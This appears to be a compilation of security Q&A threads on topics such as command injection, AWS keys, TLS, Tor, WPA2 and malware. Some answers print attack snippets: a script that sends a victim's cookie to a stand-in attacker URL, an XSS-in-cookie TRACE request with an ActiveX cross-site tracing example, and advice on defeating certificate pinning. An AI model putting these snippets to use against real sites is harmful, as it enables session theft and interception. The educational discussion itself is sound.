How to securely use Process.Start? I am using Process.Start in a Windows Service I created to execute an exe that I have on my server that is used for audio conversion.  I am passing some user input as a parameter to this exe.  The code looks something like this:

string filePath = "\ffmpeg.exe";
string parameters =  String.Format(@"-i ""{0}"" -f mp3 ""{1}""",
                           LocalFileName,
                           tempDirectory + NewFileName);
ProcessStartInfo startInfo = new ProcessStartInfo(ffmpegPath, parameters);
Process proc = Process.Start(startInfo);

The variables LocalFileName and NewFileName are set from user input.  If I want to protect against OS Injection, is it sufficient to strip out any & characters or is there more that I should be doing?

Extra arguments into the parameters
Strip any quotes from your string to ensure they can't throw in there own arguments into the command-line.

Eat your disk space
Strip out ./\ characters.
As if you don't you'll get an attack like "\Windows\Filename" would actually write file to ":\Windows\TempDirName\Filename" and when you later need to clean your temp files the attackers file will be in different location than you'll be looking to clean.

E.g.
You'll be looking at
"C:\AudioConversion\Temp\"
When attackers file will be at:
"C:\Windows\Temp\"

Does ffmpeg.exe have any vulnerabilities in version your using?
Have a look at penetration websites for any vulnerabilities against this tool.
If you're familiar with this process ofcourse give it ago yourself for extra safety.
You could enable DEP for this process if you're paranoid.

Buffer overflows in your program?
Yes, highly unlikely unless you're using unsafe modifier or making native calls etc but do review it.


Encrypted config file in VCS The problem: I have a project with a config file for development and production. I want the production config file to live in VCS to make it easy to checkout a tag and build a particular version of the project with the correct config at any time. Obviously, I don't want the production config to be plaintext in VCS to avoid leaking secrets.

My theoretical solution: The production config file is always encrypted on disk, so inside of VCS it is always an opaque blob. Certain people have the decryption key on their machines to modify the config as needed and to deploy it.

Ideally, this file is always encrypted after a VCS checkout and opening the file transparently decrypts it then re-encrypts it after saving it.

I feel like a proven crypto solution exists for this problem but I'm not sure what it is. Thoughts?

Stack Exchange has actually written a program called "BlackBox" that they use for git and mercurial repos. The idea is, there are scripts to edit files, that automatically decrypts and starts an editor so you can make changes, then encrypts it after you've saved the file. BlackBox uses PGP encryption, and will track everyone's public keys. You could easily write a program like this for one person, but Blackbox tracks everyone on a project. Give it a look, it may suit your needs. And if it doesn't, they list good alternatives in their readme.

https://github.com/StackExchange/blackbox


How does Amazon Web Services generate SSH Keys? How does Amazon Web Services generate SSH Keys? Does it generate the key pair completely in the browser or does it generate the keys in the server and send us the private key over HTTPS?

I tried to find out what's happening by looking at the requests and response in the development console on Firefox. But I couldn't understand what was going on.

First, there's a POST call to https://console.aws.amazon.com/ec2/ecb?call=createKeyPair?&mbtc=1337542060 with the following data

{"keyName":"testkey", "region":"us-east-1"}

The response to the call is the private key pair itself

{"keyFingerprint":"0a:93:6b:50:95:cc:2e:7c:ac:67:b1:c2:4b:ea:c5:72:dd:23:28:ea","keyMaterial":"-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAs49qE5S4YEX0zgVyCMl1zaU26c7bJ4GpgerP0uEkNOS9oJ7lleP+S6JmszBy\nvsZn2XCv1bwj/Yi4/Pqxd+38WFJRzYNh8bqfe4e3BoSCubCW2mGlTehf8Bzkhhkh/JilHj4UlTQK[..snip..]\n4S5HcZrTeMkVukx8nXmchdI7sy16LHQEwdOdKaLemDynwljdQ2nYMq382wgdV1aRyvM=\n-----END RSA PRIVATE KEY-----","keyName":"testkey"}

There's a second POST call to https://console.aws.amazon.com/ec2/ecb?call=getKeyPairList?&mbtc=1337542060 where the response is a list of keynames and fingerprint ID matching the search term that I had put in

POST DATA:

{"filters":[{"name":"search", "values":["testkey"]}], "start":0, "count":50, "sorting":[{"name":"keyName", "direction":"ASC"}], "region":"us-east-1"}

The response to this is a JSON array of a list of keys and their corresponding fingerprints.

Finally, there's yet another POST call to https://console.aws.amazon.com/ec2/v2/downloadKeyPair with my private key as a form-data payload (!!) with the header:

Content-disposition attachment; filename=testkey.pem

This returns a plaintext key file, neatly formatted and all. Why is the third request necessary? Couldn't AWS have generated the key on the browser without POST ing it the key to itself?

I tried switching to Offline Mode (big shout out to Mozilla for this) and  key pair creation failed. But this could not conclusively prove to me that the key pair is being generated on AWS server because the failure could be due to AWS not having received the public key, fingerprint and keyname. Atomicity of key creation even if done in the browser could include AWS getting (and ack-ing) the public key, fingerprint and keyname which my offline mode would have blocked.

Finally, does it make sense worrying about this since AWS ostensibly has complete control over the hypervisor including contents of the physical RAM from which they could in theory dump my keys?

Finally, does it make sense worrying about this since AWS... could dump my keys

No, it doesn't make sense. The keys you are discussing are for protecting communications from your client to Amazon's servers. The keys protect you against a network-based attacker such as a MITM on the network. It doesn't make sense to change the question/threat model and treat Amazon itself as a local attacker, that's not what the keys are to protect against.


Defeat iOS Certificate Pinning by replacing the hardcoded certificate in the executable? I'm analysing an iOS application and its communications through Charles.
I have access to most of SSL communications but not all, due to certificate pinning.

I know that there are many different ways for defeating certificate pinning, but I'm curious to know if it is possible to do it in this way.

I used this python script (https://github.com/meeee/pushproxy/blob/master/utils/find_certs.py) to surf the iOS executable file and find the certificates hardcoded in use for certificate pinning.

What if I replace the hardcoded certificate in the executable with, let's say, the certificate I created through Charles to get normal SSL traffic? Is it viable? Thanks!

If you are able to modify the binary and get the process to still execute, then yes, that works. Make sure to modify the pinned cert with the right level of replacement (i.e. a leaf cert with a leaf cert or an intermediate CA with a CA or whatever), and of course keep the original around in case modifying it breaks something else.

I assume the cert / key isn't in its own file? I've seen that before, and it makes everything really easy; just replace the contents of the file with your proxy's cert and you're good to go.


HTTP TRACE vulnerability discovered - what should I do First, why is HTTP TRACE method allowed on a website
Isn't it a bad thing for web server or its users' security?

Second, when I run the following PHP script via my browser...

<?php

$service_port = getservbyname('www', 'tcp');

$host='vulnerabledomain.org';

$address = gethostbyname($host);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if ($socket < 0) echo "socket_create() failed: reason: " . socket_strerror($socket) . "\n";

$result = socket_connect($socket, $address, $service_port);

if ($result < 0) echo "socket_connect() failed.\nReason: ($result) " . socket_strerror($result) . "\n";

$in = "TRACE /t.php HTTP/1.1\r\n";
$in .= "Cookie: x=str<script>alert(\"XSS\");</script>str\r\n";
$in .= "Host: $host\r\n";
$in .= "Connection: Close\r\n\r\n";

$out = '';

socket_write($socket, $in, strlen($in));

while ($out = socket_read($socket, 2048)) {
    echo $out;
}

socket_close($socket);

?>

...I get a javascript alert window with my message (XSS) that is in the request  cookie header, and some other headers/info are displayed within the browser window.
Isn't this the sign of a particular vulnerability with this website?
I mean things such as XSS, XST, etc. vulnerabilities.

The alert box is displayed because your PHP script is using ...

echo $out;

... without escaping $out. The JavaScript is executed on your domain. Whether the PHP script connects to another server, or just writes the unescaped script tag directly, does make no difference.

In order to exploit a TRACE vulnerability, you need to trick the browser to send a TRACE request, for example via JavaScript, Flash, Active X.

The common motivation to exploit TRACE is to read information from the request header that is otherwise unavailable (such as httpOnly cookies and authentication headers):

var request = new ActiveXObject(“Microsoft.XMLHTTP”);
request.open("TRACE", "http://example.com", false);
request.send();
alert(request.responseText);


Can a .jar file execute malware on macOS without running it? I've heard java files can pose a significant security risk due to vulnerabilities. Is it possible for these java files to infect a computer with malware if they are never run?
In my case, I am downloading plugins for my Minecraft server running on my Raspberry Pi (a small project I'm quite proud about). There is always the possibility for one of those plugins to contain some sort of malicious code. Is it possible for the java file to infect my main computer simply by passing through "Downloads" and then getting copied through sftp to my Raspberry Pi?

Unless a file is somehow auto-executed or otherwise opened by your system, it is not possible for malicious code to run.


RFC 5246 handshake_failure Quoting RFC 5246:

  "Reception of a handshake_failure alert message indicates that the
  sender was unable to negotiate an acceptable set of security
  parameters given the options available.  This is a fatal error."

and

  The Security Parameters

  These security parameters are determined by the TLS Handshake
  Protocol and provided as parameters to the TLS record layer in order
  to initialize a connection state.  SecurityParameters includes:

  enum { null(0), (255) } CompressionMethod;

  enum { server, client } ConnectionEnd;

  enum { tls_prf_sha256 } PRFAlgorithm;

  enum { null, rc4, 3des, aes } BulkCipherAlgorithm;

  enum { stream, block, aead } CipherType;

  enum { null, hmac_md5, hmac_sha1, hmac_sha256, hmac_sha384,
       hmac_sha512} MACAlgorithm;

Does that mean that security parameters = cipher suite?

What would cause this kind of handshake failure? For example cipher suite mismatch?

I know it might be a basic question but I was struggling to find a clear explanation.

Does that mean that security parameters = cipher suite ?

The security parameters describe a state and include master secret, various random data used in the handshake etc. The cipher suite instead describes only a set of algorithm but not the actual state when using these algorithms.
Apart from that only part of the security parameters depend on the cipher suite. Notably compression and the connection end are independent from the chosen cipher.

  What would cause this kind of handshake failure ? For example cipher suite mismatch ?

The most common problem for this alert is probably that there is no overlap in the ciphers between client and server. But note that you often don't get a handshake_failure alert but just some generic handshake error because the server simply closed the connection on error.


How does combining SHA256 with RIPE-MD160 compare to SHA256 + SHA-3? Bitcoin stores its addresses as a combined SHA256 + RIPE-MD160 hash. Is it correct to assume this is done to prevent a failure in the algorithm?

Since SHA3 was designed to be an alternative to SHA256, and uses a completely different methodology, would a SHA3(SHA2) or similar construction provide more security than RIPE-MD160(SHA2)?

What performance, security, and other tradeoffs are worth considering?

Are the SHAKE parameters of Keccak sufficient, or should I use non SHAKE parameters?

When using SHA256 + RIPEMD-160, you are not only accumulating two different algorithm, but you are also varying your algorithm vendors, since SHA256 comes from US NSA/NIST and RIPEMD-160 comes from the european academic community.

While it is true that SHA-3 has not been directly designed by NSA, it went as a winner from NIST competition, and NSA is more or less involved in NIST, may it be for the good or the worse. So, if you combine SHA256 + SHA-3, the two algorithm may be linked to the NSA and at least to NIST, so this may be seen as a potential weakness you can avoid by combining two algorithm with no link between them.


Generating encryption key using location data and other hardware data I'm trying to find information on encryption without key storage, I plan to generate the key using location data, and hardware addresses, so the key is never stored, instead it is generated if the user is on the correct device in the correct location.
Does anybody know where I can find any information on something like this? I plan to do it in C# for Windows Phone.

Thanks.

Unfortunately, this won't be as secure as you may be hoping. First, you will have to have a fairly coarse geographical scheme, because GPS coordinates vary based on things like weather, interference, etc. You might need to have regions that are 250 meters wide. Then, when you divide up someone's town or home region into a grid like that, there are only a few million possibilities. An attacker can simply try them all.


ARP spoofing doesn't work as expected? I have seen products like CUJO (https://www.getcujo.com) and Firewalla (https://firewalla.com/) doing ARP spoofing for network filtering and device blocking.

As far as know, simplest way to reproduce same situation is to use arpspoof. I have tested this, and it works only partically. I mean it does indeed redirect traffic from victim (test Macbook) to gateway (Asus router) and vice versa. Pings are working fine between both. But upon entering any website from the internet, it is loading so slowly that it is impossible to work with it. arpspoof sends 2 gratuitous ARP packets (1 for victim, one for gateway) each 2 seconds.

I was wondering how does CUJO and Firewalla work with unvisible performance drop, if home-made tests using arpspoof are not working as expected?

(Yes I have packet forwarding enabled within /proc/sys/net/ipv4/ip_forward)

Setup:

Victim = Macbook Air (192.168.10.34) (connected via WiFi)
Attacker = HP notepad with Debian 9 (192.168.10.48) on Gigabit port
Router (Asus) = (192.168.10.1)

I have tested my Android phone aswell with WiFi, and same thing, internet pages are opening very slowly if not at all.

Have you checked if the ARP table is updated on the Asus router? It could be that the router ignores the arp requests.

What router do you have? Have you flashed it with some custom firmware?

You can also check the arp table on your Macbook Air using the command: arp -a  # to see if it has been updated.


Can someone be tracked using a VPN? Let us assume that someone sends me a threatening message on Facebook. I also want to assume that they have used a VPN to do so, given the location I got from an initial trace is looked into and is false.

How can I trace their location?
Can facebook do it for me?
Is it possible that someone without too much experience with computers can trace the user that has sent these messages?

I think you are misunderstanding some important details.  Most importantly, any attempt to trace the facebook message will not trace the user: just Facebook.  Facebook is not a peer-to-peer chat network.  Both of you communicate with a central Facebook server, which means you have no way to track the end-user.

As a result, they don't have to use a VPN to hide from you.  Facebook is already hiding them.  Facebook might be able to track the user (in fact, I'm sure they are commonly requested to do so by law enforcement), but in the event that a VPN is using, Facebook would likely just track the user back to said VPN.

So, without delving into the realm of the probably-illegal, there is nothing you can do to track someone contacting you through Facebook messenger, and Facebook certainly won't do it for you (nor can they necessarily do it if the person is behind a VPN).

There are other questions on this site asking about tracking people behind VPNs, which would be applicable in this case.  You could start here, keeping in mind that this is venturing into the probably-illegal and also not-for-your-average user:

Can you still be tracked when using a VPN?


Will pentesting my own LAN violate ISP rules? I want to learn and practice penetration testing on my own network, and I want to be sure I'm making it legal.

Is there a system that reports to my ISP that I'm making suspicious activities, even if I never leave the LAN? If there is, would they report me? I'm speaking about "hacks" which ones don't affect the hosts outside my local network (such as DHCP starvation, WiFi password cracking, ARP spoofing, DoS, etc). Or the ISP doesn't care what I'm doing until I confront their system (which I never will)?

It's legal within the USA* to test your own equipment inside your own network.

Be aware that some of the newest ISP-provided routers (i.e. Comcast gigabit, aka Xfinity xFi) have some rudimentary security software built in, and they do internal network monitoring and detection to help homeowners secure their networks.  The most I've seen them do is alert the account holder that new devices have been added to the network, or warn you if you try to connect to a known malicious site, but it's certainly possible that it could detect other forms of behavior that it might consider hostile.  So don't be surprised if your ISP notices, and perhaps tries to "keep you safe" by blocking traffic it considers dangerous.  It's also probable that any such activity would be logged by them.

However, most ISP routers are older, and the older ones don't do any such thing.  Their security functioning is limited to simple firewalls that keep bad traffic out.

If you're concerned that you don't know if the ISP's router is monitoring your traffic, you don't have to trust it.  You can add a second router inside your network and dedicate the innermost network to your penetration testing activities.  Any network IP addresses that begin with "10.", "192.168.", or "172.16." through "172.31.", are called "Private Networks" (RFC 1918, for a more formal definition).  These are reserved address ranges that are not allowed to be routed outside of your network by your router.  So anything you send to those addresses won't leave your network, making them safe to experiment with.

* NOTE: standard disclaimers apply, this is not legal advice, it may not be accurate, I am not a lawyer, don't believe everything you read on the internet, use at your own risk.


Tor Hidden Service In-Depth Questions I've recently learned much more about Tor hidden service, thanks to this post, and its answers. But I am still wondering about a few small tid-bits...

As said in the linked post:

Q: If a hidden services IP is hidden, how is it possible to connect to them?

A: "Tor network uses different mechanisms, as stated in the article mentioned above."

a. If I am interpreting this correctly, then Tor uses a mechanism to find the hidden IP of the hidden service hoster, so whose to say an individual aiming to deanonymize a hidden service hoster doesn't use these same mechanisms or somehow see's the IP after Tor has completed this mechanism and find's the hoster's real IP, which could be very dangerous, depending on the situation. (oppressive government)

b. Another way I have interpreted this is that the client, nor Tor, needs to know the real IP address of the hidden service hoster, since they only communicate through a rendezvous point, and they both go through 3 encrypted hops just like normal to the rendezvous point, providing them both anonymity. Is this true, or is a. true?

If b. is true, then the client and hidden service hoster don't communicate outside of the rendezvous point, becuase it's unsafe... So how do they find out which rendezvous point they will both be communicating at? And is\f the data is decrypted at the rendezvous point from the hidden service from the hoster, and encrypted again for the client, could a malicious/adversary controlled rendezvous point see what data is being sent/received?

This is also stated in the linked post:

"Note that hidden services might be deployed without IP address at all; while a machine running Tor would have an IP address, the hidden service itself might only listen on HiddenServicePort and thus be not available without Tor at all."

If an individual is living in a country with an oppressive government, and wants to host a hidden service in this way to avoid a dangerous situation, how would they do so?

Thanks for any and all answers.

Another way I have interpreted this is that the client, nor Tor, needs to know the real IP address of the hidden service hoster, since they only communicate through a rendezvous point, and they both go through 3 encrypted hops just like normal to the rendezvous point, providing them both anonymity.

Yes, this is correct. It's helpful to think of the hidden service as a mirror of the standard tor connection: both you and the site create a 3-node circuits, and what would normally be the exit nodes talk to each other*. Just as a clearnet site you visit does not know your IP, but just the exit node's, so you don't know the hidden service's IP.

You can find out more about these mechanics on the Tor Stack Exchange and the Tor website.

* The client's exit nodes only talk to the hidden service's "exit" nodes to pass along a request for a rendezvous point; the service replies with one, and the rest of the communication happens over that circuit.


Can revoked certificates be "lost" if the base CRL is updated before expiration? Assumption

Suppose I have a CA that issues a base and a Freshest CRL. I also understand the Freshest CRL to be a Delta of revoked certs in the base.  I also understand that clients should pull the delta/freshest CRL on a more frequent (how frequent) basis than the base CRL..If this is incorrect, then this question is invalid.

Scenario

When I look at a delta CRL, there doesn't seem to be any information that links it to the Freshest CRL to a specific base.

Given that information, if a base CRL is reissued (and new revoked certs are added) and the freshest CRL is 'reset', from the perspective of a validating client, there doesn't appear to be a way to know that the base CRL has been updated.

This would, in my mind, cause clients to miss revoked certs.

Question

If I reissue the base CRL early (in Microsoft CA lingo certutil -crl) any client still using the old CRL will miss out on revocations it expects in the delta.  This error would occur until next update, when the base CRL is-redownloaded.

Is that a valid scenario?  Am I missing something?  Is there a mitigation?

Base and delta CRL are linked together through the CRL Number. The "CRL number" is a monotonically increasing integer that, roughly speaking, characterizes the age of the information contained in the CRL.

From the point of view of the validator (the "client"), a delta CRL can never be used alone, but only in combination with a base CRL, subject to the conditions listed in section 5.2.4. Basically:

A non-delta CRL contains a number b in its CRL Number extension.
A delta CRL contains a number d in its CRL Number extension and a "base CRL number" e in its Delta CRL Indicator extension.
The delta and non-delta CRL can be combined only if d > b ≥ e.

In simple terms, the delta CRL contains all the information about revocations that occurred before instant d and after instant e. Thus, the delta can be combined with the non-delta CRL only if the non-delta contains information that dates from some moment within that range; otherwise, some revocation may be missed.

(The combination is deemed equivalent to a complete CRL from instant d, and it can be used as "base CRL" for further delta CRL merging, recursively.)

An important point to realize is that revocation is, nominally, a one-way trip: certificates cannot be "unrevoked". Hence, if a CRL specifies that a given certificate is revoked, then further CRL from the same source will also list that
certificate as revoked (until the certificate expires). (There is a special revocation reason code that is called "remove from CRL" and tries to work as some form of unrevocation, but it does not work well in practice.)

The Freshest CRL extension, if present, notifies the client of the existence and location of delta CRL that may be used to "freshen" a CRL at (supposedly) low cost (since delta CRL are meant to be short). That extension may appear in a certificate or in a base CRL. When that extension is present, some implementation will insist on obtaining a delta CRL that can be combined with a base CRL (subject to the rules explained above) and will reject the certificate if they just obtain a complete CRL.

Microsoft's PKI (Active Directory Certificate Services), when configured to produce delta CRL, will systematically issue a new, empty delta CRL when it issues a non-delta CRL, thus maintaining the property than whenever a non-delta CRL exists, a formally newer (higher "CRL number") delta CRL is available as well. Clients who get an "updated base CRL" will refuse to combine it with an older delta CRL, but will download the new delta CRL.


Can be Tor Colleration Attack used in court? Suppose I send death threats using Tor. Then, I send update again. Victim says it is me. Police checks logs on the server and at my ISP. The IP addresses do not match since I used Tor, but there's logged Tor traffic from my laptop which correlates with what was found on the server and at my ISP. And even worse, it  happened twice, since I've sent two messages.

Can this be used in court as only evidence?

I don't know about the legal side, but law enforcement does this to find the bad guys. See for example

https://www.theverge.com/2013/12/18/5224130/fbi-agents-tracked-harvard-bomb-threats-across-tor


What makes Malware so difficult to remove? Why is it that when malware or adware is installed it's extremely difficult to remove? You can't go into your programs list to uninstall it and usually need a special program to remove it. What do the makers of the malware do to make it so difficult to remove?

Malware is not made to be easy to remove. That's the point. You should not even be able to tell that your computer was infected.

The malware authors employs several techniques to make their software almost impossible to remove: encrypted code, multi-part software, self-healing components, and rootkit behavior.

If you could just go to programs' list and remove them, they would not profit. Hiding it as much as they can, they can keep profiting on your computer.


Session Hijacking and authentication I'm learning about authentication protocols and have troubles understanding, how session hijacking can be avoided.

I learnt that one countermeasure is to use authentication protocols, which bind a unique session key to a strong mutual authentication process.

So let's say, we use some kind of mutual Challenge Response protocol with AES, and include a strong, random session key. I don't really understand how session hijacking works, but I would assume that it is somehow done via code injection. So the session key, which is stored in memory, probably isn't safe and can be taken over aswell, no?

Session hijacking is accomplished most commonly through the use of cross-site scripting (XSS), which when successful can grab the session token/key and send it to a waiting attacker.  The attacker can then use the session token as if they were the original authenticated user, bypassing authentication controls and accessing the application.  Often the session key is simply written to a cookie on the client machine which is easily accessed through simple JavaScript browser APIs as shown below:

<script>
        // get the token
        var token = document.cookie;

        // send it to attacker through http request to waiting endpoint
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open( "GET", "badguyurl?token=" + token, false );
        xmlHttp.send();
</script>

Session hijacking prevention efforts should focus on the prevention of XSS attacks, man-in-the-middle attacks as well as using cryptographically strong tokens, and encrypting data in transit (SSL/TLS).

As Marcus points out, if an attacker has memory access to the web server hosting the application (which likely indicates an outright compromise of your web server), you have bigger problems to worry about.


Encryption and Decryption in WEP protocol What is the role of Integrity Check Value in Wireless Equivalent Privacy?
Why initialization Vector is sent as a clear message where as Integrity Check Value is sent as a cipher message?

The role of Integrity Check Value in Wireless Equivalent Privacy is to ensure that a packet has not been modified in transit. To avoid encrypting two ciphertexts with the same key stream, an Initialization Vector (IV) is used to augment the shared secret key and produce a different RC4 key for each packet.
Source: (In)Security of the WEP algorithm


Does anyone use XML Encryption? The XML standard defines a mechanism for encrypting the data in a XML document.  It's part of the standard.

Does anyone use this XML encryption format?  Are there any significant deployed systems that use XML encryption?  Is it used in practice, or is it just something that exists on paper and is pretty much irrelevant in practice?

(Note that XML encryption is different from sending an unencrypted XML document over SSL.  The XML encryption mechanism provides a way to encrypt the contents of the XML document, so you have an encrypted document.)

The standards document is here: http://www.w3.org/TR/xmlenc-core/
You can also find a more recent draft.

Actually, the whole WCF/SOAP security stack in .NET is based around these sets of standards for encryption and signing (if you are referring to what Thomas linked to).

Message security with encryption uses it to encrypt the message. I have no hard evidence of it, but I believe its fairly well used in WCF-centric shops. We use it for our stuff. It's all in-transit though, not for long term storage.


Telegram (or other messenger) message as second factor in 2FA Is it safe to send code via messenger bot and use it as second factor in auth? The scheme looks like the same as SMS one. A user opens application or look at a push notification and use the code. Why nobody use it? It's cheaper and almost everybody uses messengers.

There is a couple of reasons that keep SMS a superior and safe choice as a mean for communicating 2AF code compared to the other messaging systems like Messenger or WhatsApp:

SMS is built-in feature on mobile phones, you don't have to install it and you can not uninstall it intentionally or accidentally.
Not every customer has a smartphone unlike a plain GSM mobile.
Hypothetically, if all customers have a smartphone, you don't control which Messaging app each one has to install.

Update:
The word "Safe" here is pointed out from business perspective and doesn't imply SMS as a system is more secure.


Is this login security enough? I'm coming up with my next login system for admins of an e-commerce website, which will have this:

login form is SSL secured
password is converted to SHA-256 before being transmitted (bcrypt is too slow still for JS/browser client)
bcrypt stored hashes (I don't want my database if ever stolen to easily be broken)
hashed password is encrypted with private key stored as constant in app or file
a hash of all the important login database values for that user, so that if they are changed via injection somehow, the hash won't match up and the account gets locked out
recaptcha upon first login failure
login strike system per device, so if the user tries 5 different logins and they're all wrong, he's out - it's not 5 per login
second step auth. using SMS, email or AlterEgo - maybe once per device + location and to be used if you want to change your password
if logging in from a different location different from history, send SMS or email to user
if device or location information changes while logged in, kill session (to prevent session stealing)
allow login history to be scrubbed of old devices (users can remove devices they no longer use)
have option to save login device + location in history (i.e. don't use this option if your at a netcafe or a public network etc.) so it will always ask for your second step

Is this login security enough? Do you think I'm going overkill?

The key factors I always look for in a Project Definition spec are missing here:

What are you protecting? Who are you protecting it from? What is the impact if it is compromised?

If you are protecting your list of friends birthdays it is almost certainly overkill.
If you are protecting Top Secret material from International or Corporate espionage then it may well be too weak.

You need to think about the potential risk, the threat actors who may target you, and other factors such as resiliency (does a failed login on a Monday morning make it exceedingly difficult for a user to gain access when they really need to)

Hopefully you do have answers to these, but unless you post them here it can be hard for others to provide guidance on security architecture.


Phone sending many packets Earlier, I accessed my modem to check out the IPs in my network. The network was configured with DHCP (with a considerable time to expire), and I didn't recognize 3 or 4 of IPs: most of them were smartphones.

So, I disabled DHCP and configured to allow just the devices that I knew using MAC address. Feeling more secure, I saw the wifi clients, and I found this (results over a couple hours):

The red indicated points are my Android smartphone, and others are other devices that I recognized. On the first row, my smartphone is not used. On the second row, I have sent some messages. On the third row, I have just navigated to the Play Store, without download anything. On the fourth row, I received just a few messages and I was not using the smartphone. Meanwhile, my parents were using their phones, and you can see the discrepancy of how much traffic their phones received and sent and how much traffic my phone received and sent.

I don't know if this traffic has been always like this, but I noticed it just now. I have not rooted my Android. I download apps only in from the Play Store and I don't see any suspicious content when I'm using my phone.

So, what it can be?

All of this traffic in the screenshot occurred after a factory reset on my Android (actually this is the reason why I did the factory reset).

UPDATE

I have installed Packet Capture on my android and did some scans. In one hour, 629 captures occurred (TCP connection). I'm thinking this is a lot, but I will appreciate if someone tell if it is not. (I have not installed CA to SSL decryption, because I thought that I needed just known the destination of the packages.)

Almost all the captures are from ports 80, 443 and 5228, and all of them to Google (1e100.net), Facebook or SoftLayer Technologies (in domain sl-reverse.com)

So far, I have five questions:

What's is Dalvik/2.1.0? (I saw this in a capture data by port 80)
WhatsApp are using ports 80 and 5222. I can read the data of this port (I saw Dalvik/2.1.0 in a log of WhatsApp). Is this port safe and normal to use?
The port 5222 are not SSL, but I can't read anything in the log (the characters do not make sense). Is this safe? Can a program decrypt this?
In a data log, I saw "host: check.googlezip.net". Is this legitimate?
Are all these captures normal? It saw a lot of TCP connections.

UPDATE 2

Thank you to vidarlo from answered some of my questions, but I have a new problem. I used Packet Capture again and I noticed that it do some captures, but it not list what this captures are, showing to me a blank log. This make sense with the fact that my android is sending a lot of packets (like the print in this post). Well, what it can be? Remembering that I have reset this phone. I should use another program to scan it? I didn't root my android and I don't want to do this.

UPDATE 3

The question is still unsolved, the phone keeps receiving and sending a lot of packets. Any recommendations?

What's is Dalvik/2.1.0? (I saw this in a capture data by port 80)

Dalvik is a Java VM. The fact that your phone still uses Dalvik pretty much means it's old, and probably insecure.

  WhatsApp are using ports 80 and 5222. I can read the data of this port (I saw Dalvik/2.1.0 in a log of WhatsApp). Is this port safe and normal to use?

Port 80 is normal WWW. Port 5222 is somwhat well known, but not standardized like port 80. Communication to this port is not unormal, and does not indicate any problems.

  The port 5222 are not SSL, but I can't read anything in the log (the characters are not make sense). Is this safe? Can a program decrypt this?

Impossible to say without more knowledge about what you had. It may be binary data, encrypted or cleartext, or it may be anything else.

  In a data log, I saw "host: check.googlezip.net". Is this legitimate?
  Are all these captures normal? It seen a lot of TCP connection.

What you see is more or less normal. Modern smartphones has a lot of processes running, and tend to be rather chatty.

The biggest worry should be that you're running Android <5, which is ancient and is more or less guaranteed to have security problems. Apart from that, I wouldn't think twice about any of the things you saw.


After I've plugged my phone into a computer to upload photos, can people see the photos I did not upload even after I unplugged my phone? I plugged my phone into a computer at work to upload photos using a USB, then unplugged it. I only uploaded the photos I needed, however, could they somehow see the photos I didn't upload on the computer even when I unplugged the USB after I was done? If it helps, my phone is an iPhone 5s, and I used iTunes to upload these photos off of my phone into a folder on the computer.

Are you using Microsoft Windows?

If so, yes, it's possible, but...

Let's say you connect your iPhone to your computer. If you view the photos on your iPhone in Windows Explorer, then you will have thumbnail remnants for all viewed images. These remnants are stored in C:\Users\username\AppData\Local\Microsoft\Windows\Explorer\ as thumbcache*.db

And yes, this feature is enabled by default. You will have to delete the various thumbcache files. Keep in mind that deleting files doesn't necessarily remove them.

If there are compromising photos of you which were viewed in Explorer, such as IMG_1033.JPG which shows Mark Buffalo in a drag, then you'll want to take extra steps to deleting them to ensure that this secret goes to the grave with you.


Cracking PCI terminal using a trojan based on the card I have come across an article which states the following:

  According to MWR InfoSecurity, cybercriminals can use fake cards
  containing a software code to gain access not only to a customer's PIN
  and primary account numbers shown on the front of a plastic card, but
  also to the merchant's IT network. Sophisticated attackers may even be
  able to gain access to PIN pad terminals without the terminal owner
  being aware that their security systems have been breached.

  This can be done very simply. For example, a customer in a restaurant
  can pretend to make their payment using a Trojan card which allows
  them to gain access to the payment terminal. All PIN numbers and other
  cardholder information that passes through the terminal from that
  point onwards are then captured by the fraudulent card user using
  existing communication channels (e.g. WiFi, Bluetooth or a mobile
  cellular network). Alternatively, these criminals can simply return
  and re-insert the smart card to collect the recorded data from the
  payment device.

I am struggling to understand the authenticity of this. Can anybody shed some light on the possibility (or plausibility) of this as well as how a hacker would go about performing this type of attack? I don't imagine this is quite as trivial as they make it sound.

Update:

I think it's important to note the following research performed by Lucas Kauffman:

http://security.blogoverflow.com/2012/08/exploiting-atms-a-quick-overview-of-recent-hacks/

The backdoor that you are describing can be installed if you have code execution on the ATM.  This research, as well as methods of obtaining code execution on an ATM where pioneered by Barnaby Jack and are detailed in his BlackHat (and defcon) 2010 Jackpotting ATMs talk.


Is WPA2 TKIP+AES with WPS disabled and strong keys secure? What about WPA2 Enterprise against a RADIUS server? With all the recent vulnerabilities in WPA2 and so many low quality posts/articles in the internet about WPA2 security I am not being able to fully understand the risks of WPA2.

Is WPA2 Personal secure provided that strong passwords (63 bytes random) are used?
Shall I use TKIP, AES or TKIP+AES in the configuration?

If not, Is WPA2 Enterprise against a Radius server secure? (Again, strong passwords involved).

Disable weak/legacy encryption: WEP, WPA, and WPA2-PSK-TKIP.
Especially, WPA2-PSK-TKIP is oftentimes enabled by default. TKIP
(Temporal Key Integrity Protocol) uses insecure RC4 for encryption!
It was an interim solution to replace WEP and was deprecated more
than five years ago.
Enable strong encryption only: WPA2-PSK-CCMP.
CCMP (Counter-Mode/CBC-MAC Protocol) is sometimes called
“WPA2-Personal” or “WPA2-AES”.

Derived from https://infosec-handbook.eu/blog/hns1-hello-world/

So, WPA2-AES is secure (do not use TKIP). WPA2 Enterprise uses different technologies/protocols. In general, it is also secure.


How to increase anonymity of Tor I need some system to gain a high level anonymity - nobody should have the possibility to figure out my IP.
I can use Tor, but I do not completely trust to it.
So I have an idea for a system with high level anonymity:

My computer — VPS1 — Tor — VPS2 — Internet

I can register two Ubuntu servers - VPS1 and VPS2 (assume I do not expose my IP while registering the servers, servers and hosting service do not create logs).
Then I set up a VPN between my computer and VPS1.
Also I set up a VPN between VPS1 and VPS2 - this network works over Tor.

If I need to perform any actions that require anonymity - I connect to VPN (to VPS1). My traffic goes to VPS1, then to VPS2 through Tor, then to needed internet service. After the actions performed - I disconnect from VPN.

Does this system make sense?
Do you have any suggestions how to improve this?
What software best fits my needs?
What are the main risks when setting up such a system?

This actually decreases anonymity. If the final IP address you exit from is fixed, for example a VPN, then you lose a large amount of privacy and anonymity functionality that Tor provides via its rotating exit relays. The fixed exit IP would result in a persistent exit point. Additionally, you would be exposing your networking stack to TCP fingerprinting, rather than exposing that of the exit relay. VPNs are vulnerable to this kind of fingerprinting because they send networking packets assembled by your operating system to the destination server unchanged, revealing identifying information.
